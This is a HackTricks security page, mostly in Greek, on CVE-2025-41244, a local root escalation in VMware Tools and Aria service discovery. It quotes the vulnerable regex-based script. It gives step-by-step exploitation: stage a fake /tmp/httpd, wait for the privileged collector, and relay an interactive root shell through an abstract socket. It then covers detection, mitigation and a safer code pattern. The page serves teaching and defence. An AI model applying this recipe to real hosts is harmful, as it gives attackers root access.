VMware Tools service discovery LPE (CWE-426) via regex-based binary discovery (CVE-2025-41244)

Reading time: 8 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Αυτή η τεχνική εκμεταλλεύεται regex-driven service discovery pipelines που αναλύουν τις εντολές των τρεχόντων processes για να συναγάγουν εκδόσεις υπηρεσιών και στη συνέχεια εκτελούν ένα υποψήφιο binary με ένα "version" flag. Όταν permissive patterns αποδέχονται μη αξιόπιστες, από τον attacker ελεγχόμενες διαδρομές (π.χ., /tmp/httpd), ο privileged collector εκτελεί αυθαίρετο binary από μη αξιόπιστη τοποθεσία, οδηγώντας σε τοπική ανύψωση προνομίων. Η NVISO το τεκμηρίωσε αυτό στο VMware Tools/Aria Operations Service Discovery ως CVE-2025-41244.

  • Επιπτώσεις: Τοπική ανύψωση προνομίων σε root (ή στον λογαριασμό ανακάλυψης με προνόμια)
  • Βασική αιτία: Untrusted Search Path (CWE-426) + permissive regex matching των command lines των processes
  • Επηρεαζόμενα: open-vm-tools/VMware Tools σε Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy)

Πώς λειτουργεί το VMware service discovery (σε υψηλό επίπεδο)

  • Credential-based (legacy): Το Aria εκτελεί discovery scripts εντός του guest μέσω VMware Tools χρησιμοποιώντας διαμορφωμένα privileged credentials.
  • Credential-less (modern): Η λογική discovery τρέχει μέσα στο VMware Tools, ήδη με προνόμια εντός του guest.

Και οι δύο λειτουργίες τελικώς τρέχουν shell logic που σκανάρει processes με listening sockets, εξάγει ένα matching command path μέσω regex, και εκτελεί το πρώτο argv token με ένα version flag.

Βασική αιτία και ευπαθές μοτίβο (open-vm-tools)

Στο open-vm-tools, το serviceDiscovery plugin script get-versions.sh ταιριάζει υποψήφια binaries χρησιμοποιώντας ευρείες regular expressions και εκτελεί το πρώτο token χωρίς οποιονδήποτε έλεγχο trusted-path:

bash
get_version() {
PATTERN=$1
VERSION_OPTION=$2
for p in $space_separated_pids
do
COMMAND=$(get_command_line $p | grep -Eo "$PATTERN")
[ ! -z "$COMMAND" ] && echo VERSIONSTART "$p" "$("${COMMAND%%[[:space:]]*}" $VERSION_OPTION 2>&1)" VERSIONEND
done
}

Εκκινείται με επιτρεπτικά μοτίβα που περιέχουν \S (non-whitespace) τα οποία θα ταιριάξουν εύκολα μη-συστημικές διαδρομές σε τοποθεσίες όπου ο χρήστης έχει δικαίωμα εγγραφής:

bash
get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
get_version "/usr/(bin|sbin)/apache\S*" -v
get_version "/\S+/mysqld($|\s)" -V
get_version "\.?/\S*nginx($|\s)" -v
get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
get_version "/\S+/dataserver($|\s)" -v
  • Η εξαγωγή χρησιμοποιεί grep -Eo και παίρνει το πρώτο token: ${COMMAND%%[[:space:]]*}
  • Δεν υπάρχει whitelist/allowlist των trusted system paths· όποιος discovered listener έχει matching όνομα εκτελείται με -v/--version

Αυτό δημιουργεί ένα untrusted search path execution primitive: αυθαίρετα binaries που βρίσκονται σε world-writable directories (π.χ. /tmp/httpd) εκτελούνται από ένα privileged component.

Exploitation (both credential-less and credential-based modes)

Preconditions

  • Μπορείτε να τρέξετε μια unprivileged διαδικασία που ανοίγει ένα listening socket στο guest.
  • Το discovery job είναι ενεργοποιημένο και τρέχει περιοδικά (ιστορικά ~5 minutes).

Steps

  1. Stage ένα binary σε μια διαδρομή που ταιριάζει με ένα από τα permissive regexes, π.χ. /tmp/httpd ή ./nginx
  2. Τρέξτε το ως low-privileged user και βεβαιωθείτε ότι ανοίγει κάποιο listening socket
  3. Περιμένετε τον discovery cycle· ο privileged collector θα εκτελέσει αυτόματα: /tmp/httpd -v (ή παρόμοιο), τρέχοντας το πρόγραμμά σας ως root

Minimal demo (using NVISO’s approach)

bash
# Build any small helper that:
#  - default mode: opens a dummy TCP listener
#  - when called with -v/--version: performs the privileged action (e.g., connect to an abstract UNIX socket and spawn /bin/sh -i)
# Example staging and trigger
cp your_helper /tmp/httpd
chmod +x /tmp/httpd
/tmp/httpd          # run as low-priv user and wait for the cycle
# After the next cycle, expect a root shell or your privileged action

Τυπική αλυσίδα διεργασιών

  • Credential-based: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i
  • Credential-less: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i

Αρχεία (credential-based) Ανακτημένα SDMP wrapper scripts κάτω από /tmp/VMware-SDMP-Scripts-{UUID}/ μπορεί να δείχνουν άμεση εκτέλεση του rogue path:

bash
/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr"

Γενίκευση της τεχνικής: regex-driven discovery abuse (portable pattern)

Many agents and monitoring suites implement version/service discovery by:

  • Enumerating processes with listening sockets
  • Grepping argv/command lines with permissive regexes (e.g., patterns containing \S)
  • Executing the matched path with a benign flag like -v, --version, -V, -h

If the regex accepts untrusted paths and the path is executed from a privileged context, you get CWE-426 Untrusted Search Path execution.

Abuse recipe

  • Name your binary like common daemons that the regex is likely to match: httpd, nginx, mysqld, dataserver
  • Place it in a writable directory: /tmp/httpd, ./nginx
  • Ensure it matches the regex and opens any port to be enumerated
  • Wait for the scheduled collector; you get an automatic privileged invocation of -v

Masquerading note: This aligns with MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) to increase match probability and stealth.

Reusable privileged I/O relay trick

  • Build your helper so that on privileged invocation (-v/--version) it connects to a known rendezvous (e.g., a Linux abstract UNIX socket like @cve) and bridges stdio to /bin/sh -i. This avoids on-disk artifacts and works across many environments where the same binary is re-invoked with a flag.

Ανίχνευση και οδηγίες DFIR

Hunting queries

  • Uncommon children of vmtoolsd or get-versions.sh such as /tmp/httpd, ./nginx, /tmp/mysqld
  • Any execution of non-system absolute paths by discovery scripts (look for spaces in ${COMMAND%%...} expansions)
  • ps -ef --forest to visualize ancestry trees: vmtoolsd -> get-versions.sh ->

On Aria SDMP (credential-based)

  • Inspect /tmp/VMware-SDMP-Scripts-{UUID}/ for transient scripts and stdout/stderr artifacts showing execution of attacker paths

Policy/telemetry

  • Alert when privileged collectors execute from non-system prefixes: ^/(tmp|home|var/tmp|dev/shm)/
  • File integrity monitoring on get-versions.sh and VMware Tools plugins

Αντιμετώπιση

  • Patch: Apply Broadcom/VMware updates for CVE-2025-41244 (Tools and Aria Operations SDMP)
  • Disable or restrict credential-less discovery where feasible
  • Validate trusted paths: restrict execution to allowlisted directories (/usr/sbin, /usr/bin, /sbin, /bin) and only exact known binaries
  • Avoid permissive regexes with \S; prefer anchored, explicit absolute paths and exact command names
  • Drop privileges for discovery helpers where possible; sandbox (seccomp/AppArmor) to reduce impact
  • Monitor for and alert on vmtoolsd/get-versions.sh executing non-system paths

Σημειώσεις για υπερασπιστές και υλοποιητές

Safer matching and execution pattern

bash
# Bad: permissive regex and blind exec
COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)")
[ -n "$COMMAND" ] && "${COMMAND%%[[:space:]]*}" -v

# Good: strict allowlist + path checks
candidate=$(get_command_line "$pid" | awk '{print $1}')
case "$candidate" in
/usr/sbin/nginx|/usr/sbin/httpd|/usr/sbin/apache2)
"$candidate" -v 2>&1 ;;
*)
: # ignore non-allowlisted paths
;;
esac

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks